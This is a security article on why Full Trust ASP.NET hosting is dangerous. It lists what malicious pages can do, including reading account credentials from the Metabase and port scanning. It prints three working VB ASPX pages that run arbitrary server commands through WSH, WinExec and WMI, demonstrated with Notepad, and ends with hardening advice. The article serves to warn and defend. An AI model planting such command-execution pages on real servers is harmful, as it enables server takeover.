ASP.NET is a powerful development platform and, compared to ASP Classic, it is a giant leap forward.
But, this extra power also brings new dangers. In ASP Classic, the damage caused by malicious code running on the server was somehow limited by the built-in limitations of the ASP Classic object model. In ASP.NET, due to the number of classes exposed by the .NET framework, malicious code has the potential to be much more damaging and dangerous.
Where Does the Malicious Code Come From?
The scenario that I describe in this article is one where a malicious user is able to execute ASP.NET scripts on your server, under a normal Web site application, configured to execute code with Full Trust.
Some examples of such scenarios include:
- ISPs providing shared Hosting services
- Companies that delegated Web page creation and editing (maybe even entire sub-sections of the main Web site) to internal staff
- Universities that allow teachers to maintain their course information using FrontPage (each course is stored in a unique SubWeb)
- Web development companies that host their client Web sites in their servers
Due to the limitations created by Partially Trusted environments in the current version of the .NET Framework, practically everybody is running their applications with Full Trust.
Full Trust Behaves like COM Objects
If you have been involved in developing COM objects for ASP Classic, you know how powerful they are. A COM object running IIS 5.0 will have access to huge sections of the Windows API (even if running with a low-privileged account).
That is why most ISPs and System Administrators would never allow the installation of third-party (in other words, created by you) COM objects in their servers. They would argue that the objects had high security risks and would reject such requests.
What you might not be aware of is that, due to the objects exposed by the .NET framework, any ASP.NET page behaves like a COM object and (if being executed in a Full Trust environment) will have direct access to the Windows API and several Internal Windows management tools such as WMI, ADSI, and LDAP.
Security Implications
Although most issues identified in this article are ‘features’ and not ‘vulnerabilities,’ from a security point of view they create threats that could be exploited by malicious users.
Some examples of what can be done from an ASP.NET page follow:
- Upload programs (executables) to the server
- Execute programs on the server using WSH (Windows Script Host), WinExec (direct Win32 API call), or WMI (Windows Management Instrumentation)
- Call the RevertToSelf() API function, which will revert the identity of the worker process from the assigned one to the one defined in the Application pool used (in IIS 6.0)
- Retrieve the IIS Anonymous’ account details (usernames and passwords) from the Metabase
- List the server’s Usernames, running Processes, installed Services, existent Drives, and Shares
- Use Reflection to bind (load and execute) PRIVATE .NET framework methods (basically every single class, public or private, that exists in the .NET framework can be executed)
- Use Reflection to open (read) and bind (load and execute) assemblies from other co-hosted Web sites
- Browse other co-hosted websites folders and read its files
- Implement a server-based port scanner
- Retrieve the Application and System Event logs
- Run server-side Brute Force password attacks
- Crash the server (Denial of Service attacks)
- Etc, etc, etc….
With the power of the .NET framework, a malicious user is more limited by his imagination and programming skills than he/she is by ASP.NET (unless the sever is securely configured, which will remove some of these attack vectors).
Remote Execution of Commands on the Server
To give you an example, I will show you several methods to execute programs on the server:
- WSH (Windows Script Host)
- WinExec (direct Win32 API call)
- WMI (Windows Management Instrumentation)
The examples provided are written in VB and the code should be self-explanatory. In future articles, I will provide more examples of what can be done with direct Win32 API functions and WMI.
These little examples will execute “Notepad.exe” on the server (confirm by checking the server’s “Task Manager”). Of course, a malicious user would execute something a little bit more damaging.
WSH (Windows Script Host)
Create a file called “runCommandUsingWSH.aspx” with the following code:
<%@ Page Language="VB" aspcompat=true %> <% runCommand("notepad.exe") %> <script runat=server> Public sub runCommand(commandToExecute) Dim objWSH = server.createObject("WSCRIPT.SHELL") objWSH.run (commandToExecute,0,True) End sub </script>
WinExec (direct Win32 API call)
Create a file called “runCommandUsingWinExec.aspx” with the following code:
<%@ Page Language="VB" %> <% runCommand("notepad.exe") %> <script runat="server"> Declare Function WinExec lib "Kernel32" Alias "WinExec" _ (ByVal lpCmdLine as String, ByVal nCmdShow as Long) as Long Public sub runCommand(commandToExecute) Dim errReturn errReturn = WinExec(commandToExecute,10) End sub </script>
WMI (Windows Management Instrumentation)
Create a file called “runCommandUsingWMI.aspx” with the following code:
<%@ Page Language="VB" %> <% runCommand("notepad.exe") %> <script runat=server> Public sub runCommand(commandToExecute) Dim winObj = GetObject ("winmgmts:{impersonationLevel= _ impersonate}!.rootcimv2") Dim objStartup = winObj.Get("Win32_ProcessStartup") Dim objConfig = objStartup.SpawnInstance_ objConfig.ShowWindow = 12 Dim objProcess = getObject("winmgmts:root _ cimv2:Win32_Process") Dim intProcessID Dim errReturn = objProcess.Create (commandToExecute, _ ,objConfig,intProcessID) End sub </script>
How to Protect Yourself from Attack
The simple and effective solution to most of the problems identified in this article is to reduce the Web application’s trust level from ‘Full Trust’ to ‘Medium Trust’ (or ideally to ‘Low Trust’).
Unfortunately, with the current version of the .NET Framework (1.1), it is very difficult to create powerful ‘Partially Trusted’ environments.
The only real solution is to publish your Assemblies that require access to the .NET Framework Assemblies that don’t have the APTCA (Allow Partially Trusted Callers Attribute) to the GAC (Global Assembly Cache).
This is painful and expensive, but something you will have to do if you want to create a secure Web Application, and if you care about the security of the servers hosting it.
Remember:
“Only a server where all Web Applications run in ‘Partially Trusted’ environments HAS THE POTENTIAL to be considered a ‘Secure’ Server.”
Because:
“A server that runs Web Applications in ‘Full Trust’ is insecure by design, by default, and in deployment. Such a server CAN NEVER BE considered a ‘Secure’ Server.”
As mentioned before, this .NET functionality also has benign uses, and will enable a legitimate ASP.NET developer to create powerful and feature rich applications.
It all comes down to a balance between “Functionality vs. Security.”
Downloadble
Download the accompanying source code here.
About the Author
Dinis Cruz is an experienced Security consultant based in London (UK) and specialized in ASP.NET Application Security, Active Directory Deployments and Ethical hacking. Dinis is also the creator and main developer of the OWASP’s Open Source project: Asp.Net Security Analyser (ANSA). You can contact him at Dinis.developer.com@ddplus.net.